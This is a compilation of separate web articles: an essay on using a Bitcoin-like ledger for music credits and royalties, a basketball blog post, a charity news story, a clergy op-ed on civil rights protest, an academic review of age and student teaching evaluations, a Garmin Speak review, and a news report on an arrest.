secretary’s tour of east Asia will include a visit to Vietnam.
-There is an incredibly boring problem in the music industry for which Bitcoin offers a potentially fascinating solution. In fact, I think this might be one of the coolest and most immediately worthwhile applications of distributed ledger and payment network technologies such as Bitcoin.  The problem is simply that no central database exists to keep track of information about music. Specifically, there are two types of information about a piece of music that are critically important: who made it and who owns the rights to it. Right now, this information is fiendishly difficult to track down, to the great detriment of artists, music services and consumers alike.  Decentralized, open-source, global cyryptocurrencies such as Bitcoin and Ripple (full disclosure: I am an investor in Ripple Labs, which is developing this currency) offer a model for how we might address this bedeviling status quo. By applying the technical breakthroughs of these networks, we can sensibly organize data about music for the first time in human history and, more importantly, reinvent the way artists and rights-holders get paid.  The Problems  1. The Credits Conundrum  The first category of interest is “credits.” Almost all recorded music is a collaboration between songwriters, singers, musicians, producers, recording engineers, mastering specialists, and others. Everyone knows who Adele is, but few people know that Chris Dave played drums on her bestselling album. And you won’t discover this great musician’s contribution by buying the song on iTunes or listening on Spotify or YouTube. It’s a shame.  In the past, the lusciously expansive packaging and liners of Vinyl records and later CDs were the paradise of behind-the-scenes talent. Anyone buying an album could page through the notes and find out who contributed what to the music. But in our digital-first market, these personnel are orphaned into obscurity. On today’s digital services, all one can see for a song is superficial data: the main artist’s name, who wrote the song, the name of the album it’s on, and the date of its release.  It’s much more difficult to get work if no one knows that you were responsible for that amazing drum performance or that brilliant mix.  As Spotify’s Artist-In-Residence, I’m extremely interested in fixing this problem for the unsung heroes of recorded music. But I’ve now witnessed the challenge from the inside. It’s not that services such as Spotify and other retailers don’t want to know about the music on our platforms; it’s that we struggle to obtain it. Artists and record labels have sent us over 30 million songs. Although we ask that they package it up for us in an organized and informationally rich package, what we actually receive varies widely.  Digital services rely on a number of third parties to help piece together better information about their catalogues. For example, ROVI has a massive database of credits information that it will, for a price, share with customers in a highly controlled manner. Others, such as MusicBrainz, crowdsource data and share it freely or at a small cost. A number of other corporations, unions, and nonprofits also keep a tight grip on music metadata. For instance, in the United States, the American Federation of Musicians and SAG/AFTRA are unions that represent large numbers of musicians and singers, and they attempt to keep tabs on their members’ every recorded performance. They care about this information because it allows them to ensure that their members receive union-negotiated fees (and that the unions themselves, in turn, receive their dues).  In short, the information about who did what on a given record almost always exists somewhere in the world, but it is typically fragmented between a large number of databases that don’t sync with each other, and whose owners have conflicting views about what should be public and what should be private. This forces digital services such as iTunes and Spotify to invest internally in cleaning up and organizing the information they receive, a burdensome administrative necessity.  Photo by Robyn Lee.  2. The Riddle of Rights  Though getting credit for one’s work is a big deal, getting paid for it is an even bigger deal.  Let’s look at Katy Perry’s “Dark Horse,” one of the biggest songs of the past few years, as a case study. From a legal point of view, the first thing to know about a song is that it’s not one thing. It encompasses a diffuse constellation of conceptual properties, each with numerous potential owners.  The biggest two buckets of rights are 1) rights in a song or composition and 2) rights in a recording of a song.  “Dark Horse,” for example, was written by Perry, Max Martin, Juicy J, Dr. Luke, Cirkut, and Sarah Hudson. Each of them theoretically owns a piece of the underlying song, although they can assign their ownership to one or more third parties. Because Perry first recorded the song, she owns that recording. Whenever someone else records the song after Perry, that individual will own that recording, but the six original writers will still own the song itself.  That being said, artists and songwriters often sell these rights to record companies and publishing companies. Perry, for instance, has a publishing deal with the company Warner/Chappell (a subsidiary of the Warner Music Group) and a record deal with Capitol Records (a subsidiary of the Universal Music Group). When these rights generate earnings, contracts between Perry and her partners determine how these earnings are shared.  But publishing and recording rights are just the beginning. When Perry and her collaborators wrote “Dark Horse,” they also originated additional rights in the public performance of the song. These rights entitle their owners to be paid when a song is publicly exhibited—when it is, say, played on the radio, performed live, or broadcast over the speaker systems at the Staples Center or Chipotle.  The slicing and dicing of rights doesn’t stop there. For example, Katy Perry might choose to sell one company the rights to her general publishing but another company the right to make sheet music for her songs. She can also assign rights to different owners in different countries.  In short, if someone writes and records a song, they effectively create a basket of rights, which they can sell to all sorts of actors all over the world.  How Royalties Work Today  (A Journey Into Unnecessary Complexity)  With that crash course in music rights complete, let’s talk about how a play of “Dark Horse” on a streaming service produces royalties for the owners of its rights:  You play “Dark Horse” on Spotify in the USA. Spotify keeps track of your and others users’ plays over a period of time and then pays out a share of its royalty pool proportional to the song’s popularity on the service during that same period. One percent of plays would equal one percent of total payouts, for example. This payout actually comprises multiple separate payments to the various owners of the rights in the song. These include:  The record company (Capitol) to compensate for usage of the master recording.  The performing rights organizations representing the song’s writers (ASCAP and BMI in the United States).  The Harry Fox Agency, which Spotify uses to administer another esoteric type of publishing royalties called “mechanicals.” These are statutorily-mandated royalties that compensate songwriters for the use of their songs within recordings that are being exploited, which is subtly different in a streaming context than in a performance. (If this is confusing, that’s because it is totally confusing.)  A similarly mind-boggling array of recipients exists in every market in which Spotify operates, and so every month, for a song with multiple writers, Spotify can conceivably end up writing checks to upwards of 20 distinct parties.  This situation creates an enormous administrative burden for a music service, but that’s not the big problem. The big problem is that money only makes it to artists after passing through all of these intermediaries, each with its own accounting processes, timelines, fee structures, and reporting standards. The result is that artists and songwriters suffer from a nearly complete lack of predictable, understandable income.  Having survived solely on my music for years, I experienced this firsthand. Checks for widely varying amounts randomly show up in the mail each month, from all sorts of different issuers. Each comes with some fashion of itemized receipt, but since all of the receipts represent different rights categories and earnings periods, it’s extremely difficult to piece together a clear picture of one’s financial life.  In public conversations about streaming music, many voices are passionately calling for “transparency.” The implication is usually that someone — a music service, record label, publisher, or rights society — is being dishonest and hiding money. This interpretation is understandable in light of the long history of artists’ being exploited for profit.  But having spent three years now in the trenches with Spotify and in conversations with executives across the industry, my assessment is that fraud is not the primary impediment to transparency. Complexity, outdated IT systems, and fragmentation are. Luckily, technology can fix this.  A Solution  These deep infrastructural inefficiencies around credits and rights information diminish the lives of creators and impose unnecessary administrative complexities and costs upon the entire music industry.  A new paradigm for music data management is sorely needed. One solution could be a decentralized, open-source global platform, owned and controlled by no single entity.  The platform would have two complementary functions.  It would contain accurate, real-time, global data encompassing credits and rights ownership. This would make it the universal, authoritative reservoir for these types of information, and it would be open to and accessible by anyone. It would serve as an instantaneous, frictionless payments routing infrastructure for all music usage fees and royalties.  The architecture of Bitcoin provides an instructive example of how this platform might work. Bitcoin is an extraordinary intellectual and technical achievement, and it has generated an avalanche of editorial coverage and venture capital investment. But very few people understand it. Here’s what’s important to know.  Bitcoin, abbreviated BTC, is the name of a digital currency, just as the U.S. Dollar is the name of the fiat currency in the United States. But more important, Bitcoin is a network. The Bitcoin network is instantiated by a bunch of separate people running the Bitcoin software on their computers. The software is open-source, meaning that anyone can check out its code, modify it and so on. Nerds love open-source applications because it means that no single company is unilaterally controlling the software’s development.  Even though Bitcoin is open-source, there is always a single current version of the software that almost everyone agrees to use, and when they use it, they create a network between themselves. If a group of people chooses to use a different version of the software for long enough, they “fork” the network, creating their own, separate network.  This network connects Bitcoin’s users to each other and enables them to do one thing very well: maintain a common “ledger,” or database, that keeps track of how many BTC each person on the network owns. Imagine that Mark, Jane and Sara are sitting around a table, and in the middle of the table is a book, the only purpose of which is to keep track of how much money each one of them has. This is exactly what the Bitcoin network does.  The technically marvelous thing about Bitcoin, however, is that not only can it keep an accurate accounting of this ledger, it can process real-time transactions between participants.
-Last summer we gave a long explanation as to why there is significant video evidence that would serve as suitable fodder for a highlight package pointing out the similarities between Michael Jordan and Kobe Bryant’s game. Not just their game, really, but their facial expressions, between-play maneuvering, and overall oeuvre.  [Related: Kobe Bryant's surgery scar is pretty gnarly]  Scroll to continue with content Ad  A year later, a second clip has surfaced. Take a look:  Last year’s comments list was not kind to Kobe, which is frustrating. Because Kobe Bryant is supposed to be patterning his game after Michael Jordan. That’s sort of what you should be doing, as a 6-6 shooting guard. People of a certain age tend to emulate Michael Jordan. The difference between Kobe Bryant and the rest of us, though, is that he’s nearly as good as Michael Jordan, so he got to do it on basketball’s biggest stage.  From the gum chomping to the arched eyebrows to the actual inflection of his voice, you can tell that Bryant clearly watched tape after tape of Jordan while growing up in Italy. That aspect is legitimate, and just fine. It’s a habit that’s hard to break. I still inadvertently give off the MJ-styled inner-cheek chew and squinted-eye look while attempting to concentrate on what someone is saying. I’m not trying to be Michael Jordan, it’s just something I picked up after watching hours and hours of SportsChannel as a kid.  The on court aspects, though, don’t have to be just because Kobe Bryant watched a ton of Michael Jordan while growing up. Again, Kobe is supposed to be doing this.  Story continues  Both players are around the NBA’s average height and weight – 6-6 and 220 pounds – and both have similar skill sets. And when you pair those two factors with the athleticism and smarts that both boast, you get a similar game. And for that size, with those skills, jab-step jumpers and turnaround daggers off of a post-up are the most efficient way to go. For Bryant, our only longtime complaint is that he relies too heavily on that jab-step from 19 or 20 feet out, when Jordan would usually attempt to get to 15 feet.  [Related: Kobe Bryant's fans driven to hysteria]  The shooting guard position is the NBA’s least influential, and it speaks to Jordan and Bryant’s smarts and competitiveness that they’ve managed to dominate eras while playing a position that really doesn’t matter all that much in comparison to the other four spots. And this sort of play – again, those jab-steps, and those turnarounds and fadeaways – is how you get things down at the shooting guard position. Provided you have the skill, because we’d rather you focus on your other strengths, Tony Allen, instead of trying to cop Kobe.  In case you missed it last August, here is the first video in the series:  (Video via The Basketball Jones and Reddit.)  Related coverage on Yahoo! Sports:  • Frustrations will be forgiven once Derrick Rose takes the court again  • Dwight Howard in Twitter spat with woman  • Where Greg Oden fits in with the Heat  • Is competitive balance an oxymoron in the NBA?
-A generous 10-year-old from Pinner is celebrating Christmas as a time for giving by donating his birthday presents to London's homeless.  Big-hearted Sami Rock, who turned 10 on Saturday, will be giving his gifts to charity Shelter in the hopes of bringing a bit of festive cheer to people who might be spending the holiday on the street.  The Cannon Lane Primary School pupil said: "My whole year is invited and I didn't want to just end up getting lots of presents. I thought of giving them to Shelter because it's a homeless charity and it would be helping people who would be spending Christmas on the street.  "I also made a collection box and I've had a few donations already. I'd like to do more for charity, I've done things like a sponsored silence before - it's nice to do things like this sometimes."  Sami and his family, of Pembroke Avenue, Pinner, are holding a disco-themed party this weekend to celebrate his birthday.  His classmates are coming with presents to be donated to Shelter and Sami's collection box will also be in the church hall for anyone to make extra contribution.  Sami's efforts were commended in a school assembly last week.  His proud mother Babs said she had been approached by other parents whose children wanted to do something similar.  Babs said that the world around children today encourages them to be materialistic and she was glad Sami was developing a different outlook.  The 35-year-old said: "He came up with this all by himself. Whenever he sees one of these adverts on television, adopt a snow leopard or something like that, he always asks his dad if he can do it.  "He's quite a sensitive boy and he said he wanted to donate to Shelter because of this time of year, he's been thinking about what Christmas is. I think he feels quite lucky and he wanted to do something to help people less fortunate.  "I'm very proud of him, he's just amazing."  She continued: "We've had quite a few RSVPs to the party and parents have got in touch saying their children would quite like to do something similar. I definitely think he's inspired a few."
-As Christian clergy members, we place a high value on nonviolence. We are part of a national campaign that promotes proven solutions to reducing gun violence in our cities, and each of us has worked to achieve peace in our neighborhoods. But we know there has never been a time in American history in which movements for justice have been devoid of violent outbreaks.  Thanks to the sanitized images of the Rev. Dr. Martin Luther King Jr. and the civil rights movement that dominate our nation’s classrooms and our national discourse, many Americans imagine that protests organized by the Southern Christian Leadership Conference, the Student Nonviolent Coordinating Committee and countless local organizations fighting for justice did not fall victim to violent outbreaks. That’s a myth. In spite of extensive training in nonviolent protest and civil disobedience, individuals and factions within the larger movement engaged in violent skirmishes, and many insisted on their right to physically defend themselves even while they proclaimed nonviolence as an ideal (examples include leaders of the SNCC and the Deacons for Defense and Justice in Mississippi).  The reality — which is underdiscussed but essential to an understanding of our current situation — is that the civil rights work of Dr. King and other leaders was loudly opposed by overt racists and quietly sabotaged by cautious moderates. We believe that current moderates sincerely want to condemn racism and to see an end to its effects. The problem is that this desire is outweighed by the comfort of their current circumstances and a perception of themselves as above some of the messy implications of fighting for liberation. This is nothing new. In fact, Dr. King’s 1963 “Letter From Birmingham Jail” is as relevant today as it was then. He wrote in part:  I have almost reached the regrettable conclusion that the Negro’s great stumbling block in the stride toward freedom is not the White Citizens Councilor or the Ku Klux Klanner but the white moderate who is more devoted to order than to justice; who prefers a negative peace which is the absence of tension to a positive peace which is the presence of justice; who constantly says, “I agree with you in the goal you seek, but I can’t agree with your methods of direct action.”  National polling from the 1960s shows that even during that celebrated “golden age” of nonviolent protest, most Americans were against marches and demonstrations. A 1961 Gallup poll revealed that 57 percent of the public thought that lunch counter sit-ins and other demonstrations would hurt integration efforts. A 1963 poll showed that 60 percent had an unfavorable feeling toward the planned March on Washington, where Dr. King gave his “I Have a Dream” speech. A year later, 74 percent said that since black people had made some progress, they should stop their demonstrations; and by 1969, 74 percent said that marching, picketing and demonstrations were hurting the civil rights cause. As for Dr. King personally, the figure who current moderates most readily point to as a model, 50 percent of people polled in 1966 thought that he was hurting the civil rights movement; only 36 percent believed he was helping.  The civil rights movement was messy, disorderly, confrontational and yes, sometimes violent. Those standing on the sidelines of the current racial-justice movement, waiting for a pristine or flawless exercise of righteous protest, will have a long wait. They, we suspect, will be this generation’s version of the millions who claim that they were one of the thousands who marched with Dr. King. Each of us should realize that what we do now is most likely what we would have done during those celebrated protests 50 years ago. Rather than critique from afar, come out of your homes, follow those who are closest to the pain, and help us to redeem this country, and yourselves, in the process.
-Human Capital Theory and Research Productivity A number of studies have successfully applied this human capital model to the research productivity of university faculty. Young faculty members often face intense pressure to publish but, as promotions are gained and years progress, research output often falls. McDowell (1982) finds humped-shaped relationships between age and research output for a sample of faculty members in a cross-section of disciplines. Diamond (1986) and Levin and Stephan (1991) find similar relations for mathematicians and scientists, and Goodwin and Sauer (1995) find the same for a sample of academic economists. Webber (2012) finds that the of years since terminal degree to have negative effect on publication, and Tien and Blackburn (1996) find that publication rates tend to rise as professors approach promotion and fall after promotion. Other authors report similar declines in research productivity in later life (Galenson and Weinberg 2000; Jones 2010; Jones and Weinberg 2011; Oster and Hamermesh 1998; Stroebe 2010). Stroebe (2010) notes several additional factors that might account for the apparent drop in output at later ages. For example, universities might reallocate resources away from older faculty members and toward younger researchers that they hope to attract and encourage. Also, if mandatory retirement looms in the near future, older faculty members might be less motivated to keep current and continue to produce as effectively. Finally, because older faculty members are likely to have the security of academic tenure, they might be more inclined to shirk and relax. Studies also find differences across disciplines and across genders. For example, the rate at which prior knowledge becomes obsolete probably varies by field. According to McDowell (1982) the rate of “literature decay” in hard sciences such as physics and chemistry is significantly higher than that in humanities such as history and English. He also argues that because women are more likely than men to interrupt their careers for reasons such as child care, they tend to gravitate to fields in which knowledge is more durable. If so, women might suffer less than men from declining productivity as they age.  Age and Teaching Effectiveness Although fewer researchers have studied the effect of age on productivity inside the classroom, human capital theory would predict a similar hump-shaped, non-linear relationship. As younger teachers gain experience their classroom performance should improve, but other factors should eventually push in the opposite direction. For example, the teaching prowess of older faculty members might suffer from an inability to stay current in their fields, or they might be allocating relatively more time to administrative rather than classroom pursuits (McPherson et al. 2009). Also, students might find it easier to connect with faculty members closer to their own age. Complaints by older faculty members about not understanding the younger generation certainly ripple through the halls of academia with some frequency. However, measuring the relationship between age and teaching productivity is challenging. The quantity and quality of research outputs can be measured with some objectivity, but defining, much less measuring, the effectiveness of classroom instruction surely ranks among the more controversial issues in education. Most researchers employ various measures of value-added, typically changes in student test scores, but others quarrel with this approach. For example, Corcoran (2010) argues that value-added measures can be biased by a variety of random factors such as family events, student health, the presence of disruptive classmates and even the effect of what students learn in other classes. Baker et al. (2010) find that teacher rankings based on value-added measures can fluctuate wildly from year to year. Since true teacher quality is unlikely to vary significantly from year, these measures probably are biased and unreliable indicators of classroom effectiveness. Rothstein (2015) adds that value-added measures across different tests in the same discipline correlation are only weakly correlated and that the correlation between changes in test scores and other types of performance measures is weaker still. He also contends that teachers can impact value-added measures by teaching to the test and that these measures ignore important non-cognitive skills. On the other hand, recent studies by Chetty et al. (2014a, b) find that such biases are small and that value-added measures correlate well with long-run student success. We do have extensive datasets that allow us to trace and analyze value-added measures through time for elementary and secondary school children and, when included in research studies, teacher experience almost always turns out to be a significant determinant of student achievement (Harris 2009). As predicted by human capital theory, productivity gains seem especially strong in the first few years of a teacher’s career (Clotfelter et al. 2007; Jackson and Bruegmann 2009; Rockoff 2004), but recent studies by Ost (2014), Papay and Kraft (2012), and Wiswall (2013) conclude that teachers continue becoming more productive for a larger number of years. Thus, to the extent that age correlates with experience, K-12 teaching effectiveness does seem to increase with instructor age for at least some period of time. The link between age and teaching effectiveness in higher education has proven to be more problematic. Judging the effectiveness of classroom instruction is quite difficult and the kinds of longitudinal data on test scores used in K-12 studies rarely exist for university-level students. Though quite controversial and subject to potential bias from a variety of factors, most schools rely on student evaluations of teaching (SET) as a primary measure of teaching quality (Denson et al. 2010). However, despite an enormous literature on the subject, the evidence supporting their use is mixed. For example, in his meta-analysis, Clayson (2009) finds a positive, albeit weak, correlation between SETs and various objective measures of value added across different sections of a course but finds no significant relationship for students within a section. In other words, students in sections taught by highly rated instructors do seem to learn more, but those students showing the largest gains in knowledge do not rate their instructors any better than do other students in the same class with smaller knowledge gains. Carrell and West (2010) find that SETs for a sample of instructors at the U.S. Air Force Academy are positively related to contemporaneous student learning, but were negatively related to student achievement in subsequent courses. Galbraith et al. (2012) identify a variety of methodological problems that might bias prior analyses and, using a large sample of business courses, find no significant relationships between SETs and achievement of student learning outcomes. They conclude that there is little reason to believe that SETs serve as a valid indicator of teaching effectiveness. But many other researchers do find positive and significant correlations between SETs and indicators of student learning (Beleche et al. 2012; Centra 1993; Davis 2009; Marsh 1984; Marsh and Roche 1997). Studying a sample of medical students, Stehle et al. (2012) find that SETs have a strong positive correlation with results on a practical examination, even though they were unrelated to scores on a multiple-choice test. Davis (2009) concludes that “students of highly rated teachers achieve higher final exam scores, can better apply course material, and are more inclined to pursue the subject subsequently” (p. 534) and Benton and Cashin (2014) write that “In general, student ratings tend to be statistically reliable, valid, and relatively free from bias or the need for control, perhaps more so than any other data used for faculty evaluation” (p. 12). Other studies have identified additional factors that impact SETs and several (Kinney and Smith 1992; McPherson et al. 2009; Wiswall 2013) have modelled SETs as a function of various instructor and course characteristics. Failure to control for these characteristics might create bias and probably accounts for some of disparate results found in the literature. For example, in addition to age, SETs might be impacted by an instructor’s gender and physical appearance. While there is some agreement that both male and female students tend to give higher ratings to instructors of their same gender (Centra and Gaubatz 2000), the overall effects are not clear. Some early research with high school teachers showed a slight bias for males to receive higher ratings (Bernard et al. 1981), but more recent studies find slightly higher ratings for females (Feldman 1993; Whitworth et al. 2002) or no significant difference at all (Feldman 1992). However McPherson et al. (2009) conclude that male instructors in their sample of economics instructors received higher ratings than females, For better or worse, physical beauty might also matter. According to Hamermesh and Biddle (1994) workers rated as striking or above average in attractiveness earn a wage premium of about 15 % over those rated as below average or homely. Beauty apparently impacts SETs as well. O’Reilly (1987) found that the physical attractiveness of dental school instructors affected student opinions of their teaching effectiveness. Professors at the University of Texas judged as better looking by students also earned stronger evaluations (Hamermesh and Parker 2005). Perhaps surprisingly, beauty had more of an impact on the ratings of male professors than females. Younger students also seem to prefer attractive instructors as even elementary school children tend to rate good-looking teachers more highly (Goebel and Cashen 1979). Feeley (2002) argues that this phenomenon results from a “halo effect” in which the beauty of the instructor creates a halo whose aura spreads to impact student perceptions of other, non-related characteristics. Course characteristics also impact SETs. Other researchers have found that variables such as class size (Green et al. 2012; Hamilton 1980; McPherson et al. 2009), course level (Braskamp and Ory 1994; Feldman 1978), and whether or not the course was an elective (Feldman 1978; McPherson et al. 2009) affect SETs. In addition, numerous authors have studied the relationship between SETs and course difficulty and expected grades. Bowling (2008) finds that SETs are contaminated by differences in course difficulty and that students give higher ratings to instructors in courses they consider to be easy. Moreover, the positive effect of easiness ratings on course evaluations is stronger in public schools with low academic rankings than in more highly ranked private institutions. Though not all studies agree (Centra 2003), many analyses also conclude that higher expected grades correlate with higher SETs (Blackhart et al. 2006; Braskamp and Ory 1994; Krautmann and Sander 1999; Langbein 2008; McPherson et al. 2009). To the extent that students expecting high grades are those who have learned more and rate their instructors highly as a result, SETs can be a valid indicator of teaching effectiveness. However, the more common interpretation is that instructors are able to buy better evaluations by awarding higher-than-deserved grades. In this interpretation, SETs are a biased indicator of teaching quality. Thousands of articles have been published on the validity of using SETs as a measure of teaching effectiveness, and a comprehensive review of these is beyond the scope of this paper. Many different views can be supported by at least one study. Nonetheless, many studies do conclude that SETs can be valid indicators of teaching effectiveness, at least when controlled for appropriate instructor and course characteristics. Moreover, the ubiquitous use of SETs in promotion and tenure decisions is evidence that administrators believe them to be a primary indicator of classroom performance. Indeed, one recent survey found that department chairs weighed SETs more heavily than any other factor in their overall evaluations of a faculty member’s teaching effectiveness (Becker et al. 2012).  Age and SETs Some studies using SETs as an indicator of teaching quality do find them to be negatively related to instructor age (Meshkani and Hossein 2003; Wachtel 1998), but the literature shows no consistent relationships (Blackburn and Lawrence 1986). Ragan and Walia (2010) find that new instructors get lower ratings, but that this disadvantage changes in a relatively few years. Hamermesh and Parker (2005) find no effect of instructor age in their sample of faculty members, nor do Mardikyan and Badur (2011). Spooren (2010) finds that age has a negative but non-significant effect on SET scores in his sample. The effect of age could be confounded with that of experience but, after adjusting for the positive impact of experience, McPherson et al. (2009) still find that age has a negative effect. They conclude that experience raises effectiveness, but older instructors with 20 years of experience do not fare as well as younger ones with 20 years of experience. In perhaps the most extensive study of age and teaching performance in higher education, Kinney and Smith (1992) find non-linear effects of age on SETs that vary across different academic areas. In their sample, SETs for faculty in the humanities tend to fall for faculty up to about age 50 and then increase slightly. They speculate that these departments might place more relative value on teaching effectiveness that, in turn, encourages faculty to continue honing skills through their later years. They claim also that older professors in these fields might start to become more concerned with the intellectual growth of their students relative to their own. On the other hand, they find that evaluations in the sciences rise until faculty age reached the mid-40 s and then decline continually after that. Their results are statistically significant, but the quantitative effects are small. These studies are suggestive but, because it is extremely difficult to obtain or compare faculty evaluation data from multiple schools, they rely on samples from a single university or, in some cases, a single department within that university. More importantly for our purposes, none used samples containing large numbers of faculty past the age of 64.  Rate My Professors Popular websites such as RateMyProfessors.com (RMP) publish student ratings for a broad and diverse sample of college and university instructors. The RMP site allows students to rate professors on three criteria: helpfulness, clarity, and easiness. The site also publishes an overall quality rating that is the simple average of the ratings for helpfulness and clarity. The site imposes almost no restrictions on who participates and, as Davison and Price (2009) report, fraudulent ratings are an issue. Students can log onto RMP under fake names and rate faculty members multiple times, and faculty members can enter the site and rate themselves or their colleagues as well. Moreover, since students with strong opinions about an instructor probably are more likely to take the initiative to log on and provide ratings, the sample of students rating a particular instructor could be unrepresentative of the population. Nonetheless, a growing body of evidence suggests that RMP ratings closely mirror those of university-run evaluations. Kindred and Mohammed (2005) conclude that student postings on the RMP website accurately reflect the opinions of students interviewed in focus groups about the quality of teaching delivered by their professors. Looking at a sample of 426 instructors at the University of Maine, Coladarci and Kornfield (2007) find a strong positive correlation between RMP ratings and those for corresponding questions on the university-administered evaluations and, based on their work with Brooklyn College faculty evaluations, Brown et al. (2009) conclude that RMP ratings are strong predictors of instructor SET ratings. Timmerman (2008) reports that overall quality ratings on RMP correlate highly with the summary ratings for evaluations in a sample of five different universities and, according to Otto et al. (2008), RMP ratings are consistent with “what would be expected if the ratings were valid measures of student learning” (p. 364). Despite their potential defects, RMP ratings apparently do closely track the SETs that, for better or worse, are commonly used to measure teaching effectiveness.
-Share  While the smartphone has, for many, supplanted dedicated GPS hardware in the car, Garmin hopes its latest navigation device, Garmin Speak, will change your mind. It brings together the company’s GPS navigation service with Amazon Alexa, providing voice-controlled music streams, audiobooks, news and weather, as well as access to compatible smart home devices.  Perhaps the major surprise is that the Garmin Speak delivers these features without the large, color touchscreen that you typically associate with in-car navigation. Instead, the device resembles a tiny Echo Dot that mounts to your windscreen and displays directions via a small, black and white OLED screen. Use voice commands to ask questions you need answered on the road about navigation, entertainment control, or the latest NBA results, and Alexa will get right on it.  Priced at $150 and, at launch, available only in the United States, Garmin Speak is a compact, well-constructed device that includes the iconic blue Echo LED ring and two buttons on the left for manual control (if desired – the idea is to use voice commands throughout, though). There’s a mic button at the top for privacy, while the action button on the bottom can be used to confirm instructions.  Garmin Speak delivers these features without the large, color touchscreen  Powered by your car’s 12V connector, the device is designed to affix to your windscreen via an adhesive, magnetic mounting pad. It holds the Speak firmly in place, but means you’ll be left with a dark blob on the windshield at all times, which is pretty ugly. Worse still, with no integrated battery, you’ll need to find a neat way to hide the long cable that connects the device to your car’s power socket. Garmin suggests unhooking your car’s ceiling panels and tucking the cord away, but it all feels a bit painful for what is, essentially, a wirelessly controlled device.  Once powered on, you pair Garmin Speak with your phone and car stereo over Bluetooth, allowing the device to respond to requests over your car’s speakers. Older cars without Bluetooth audio can connect to Speak using an AUX connection. If you’re desperate, Garmin has integrated a tiny speaker in the device, but you really wouldn’t want to listen to it for too long, The integrated speaker is small, and has lots of treble but little bass, as you’d expect on such a small device. Output is audible, but quite shrill and is an inferior option to connecting to your car’s stereo. From there, download and install the Garmin Speak app and you’ll be guided through configuration. Link up your Amazon Alexa account, enable the Garmin skill, ask Alexa to ask Garmin to activate your device and, some time later, you’re ready to go. Garmin has done its best to make setup as simple as possible – an achievement considering you’re hooking up three pieces of hardware to two distinct software services, but it’s still work and a great reminder why your smartphone is simply a magical device.  If you’ve previously used Amazon Echo or another Alexa-enabled device then you’ll be right at home with Garmin Speak. The device has full access to the Amazon assistant’s core features and third-party skills, so it offers a convenient way to play music from an Amazon library, Spotify or supported Internet radio service, hear the latest news and weather reports, switch on the thermostat at home and even stock up on Tide as you drive past the supermarket.  Here, a device like Garmin Speak proves how useful it can be to have Alexa (or another personal assistant) available in the car for certain tasks. Whether you need a dedicated, $150 microphone hooked up to your smartphone to perform these tasks, I’m not so sure. Many of these tasks can already be performed on the road by Google Assistant and, if you’re deeply integrated in Amazon’s ecosystem (and I’d suggest you’d need to be to really benefit from the Garmin Speak), you could always drop an Echo Dot into a cup holder for just $50. It’s not as cute, but it’s a heck of a lot cheaper.  Of course, alongside standard Alexa features, Garmin Speak is a voice-controlled navigational device. We’ve previously been a big fan of Garmin’s excellent in-car GPS devices, which are generally simple to use and offer intuitive features such as Real Directions, which uses landmarks to make turn-by-turn instructions clearer. Adding the Garmin skill certainly aces a standalone Echo Dot in the car – the question is how well Speak serves for in-car GPS.  Well, it works, but using Garmin Speak for navigation can be an awkward experience. First, GPS support is delivered through an Alexa skill. So that means you’ll need to ask Alexa to “ask Garmin” to find your location. It’s a double hop that can become wearing, like those times when you get into an argument with your other half and you stubbornly converse via the kids. “David, ask your mom whether we need to turn at the next block or the one after.”  Garmin Speak’s microphone does a decent job of picking up your voice, even on noisy roads, but attempting to set destinations using voice only can be tricky without the confirmation of a screen. If we missed the response to a destination command, we were immediately worried we were heading in the wrong direction. In cases where we needed to visit a particular store with several branches in the vicinity, we really missed the ability to bring up a list of potential locations and simply tap the one that we needed. With Garmin Speak, we found ourselves having to remember the store’s street address or intersection to be assured we would be directed correctly.  In these situations, you can open up the Garmin Speak app on your phone and check where you’re headed. Here you can also configure home, work and school addresses as shortcuts. But you’re back to using your phone as the GPS, making you question what Garmin Speak is really bringing to the table. Over time, perhaps we could re-learn how best to direct a GPS device via voice, or grow to trust Alexa/Garmin Speak a little more. But over the course of a few days with the device, we didn’t feel compelled to switch away from our integrated in-car GPS, or Google Maps and Waze on our phones.  In an attempt to reinvent the in-car GPS, Garmin Speak adds utility with a personal assistant but at the same time removes the simplicity and clarity of a touchscreen user interface. We have no doubt that personal assistants like Alexa, Siri and Google Assistant will become an essential feature in car entertainment systems of the future, but we’re not convinced a dedicated GPS device is the way to deliver them.  Our Take  Garmin’s imaginative reinvention of the GPS proves the benefit of a connected personal assistant on the move, but the loss of a touchscreen makes Garmin Speak less convincing than a traditional GPS, or your smartphone’s navigation app.  Is there a better alternative?  Certainly, Garmin Speak is a cheaper alternative than buying a new BMW or Mini with Alexa integration, but it’s three times the cost of simply dropping in an (admittedly larger) Echo Dot, if you really need Alexa in your vehicle. Depending on your smartphone, you may be able to replicate many of the device’s features with Google Assistant and have the bonus of a large touchscreen interface.  How long will it last?  Garmin Speak is undoubtedly a brave move to reinvent a category – dedicated in-car GPS – that’s in decline. Amazon Alexa is here for the long term, no doubt, but if Garmin Speak fails to gain traction, the question would be how long the hardware and Garmin Alexa service would be supported.  Should you buy it?  If you’re deeply committed to the Amazon ecosystem and you need Alexa as your co-pilot, then you can expect to see a range of in-car integrations heading your way over the next few years. Garmin Speak delivers many of the Amazon Echo’s features (and more) in a small, compact and mobile device. Just don’t be surprised if its novelty factor fades quickly.
-A brother of Las Vegas shooter Stephen Paddock was arrested in Los Angeles on suspicion of possessing child pornography, authorities said Wednesday.Bruce Paddock, 59, was arrested on a 20-count felony complaint, a police statement said.His relationship to Stephen Paddock was confirmed by a law enforcement official briefed on the investigation but not authorized to discuss it publicly.Bruce Paddock is not a suspect in the Las Vegas shooting.The child porn case predated the Oct. 1 shooting, said the official who spoke on condition of anonymity.It wasn’t immediately known if Paddock has an attorney. He was being held on $60,000 bail at the Metropolitan Detention Center.The felony complaint for his arrest alleges one count of possession of child or youth pornography and 19 counts of sexual exploitation of a child.The complaint signed Tuesday by a Los Angeles County deputy district attorney specified that between Jan. 1 and Aug. 30 of 2014, Bruce Paddock knowingly possessed more than 600 images of child or youth pornography involving use of a person under age 18 engaging in or simulating sexual conduct.The material included “10 or more images of a prepubescent minor or a minor who was under 12 years of age,” the complaint said.The police statement said Bruce Paddock came under investigation after evidence was discovered inside a business in the Sun Valley area of the city where he had been a squatter. The evidence was discovered after his eviction.At the time, Bruce Paddock was a transient and couldn’t be found, police said. He was recently located at an address in North Hollywood.Fifty-eight people were killed and hundreds more were wounded Oct. 1 at the Route 91 Harvest Festival on the Las Vegas Strip. Stephen Paddock opened fire from the 32nd floor of the Mandalay Bay casino-hotel tower. Stephen Paddock was found dead.Another brother, Eric Paddock, spoke to media following the shooting but Bruce Paddock did not.  A brother of Las Vegas shooter Stephen Paddock was arrested in Los 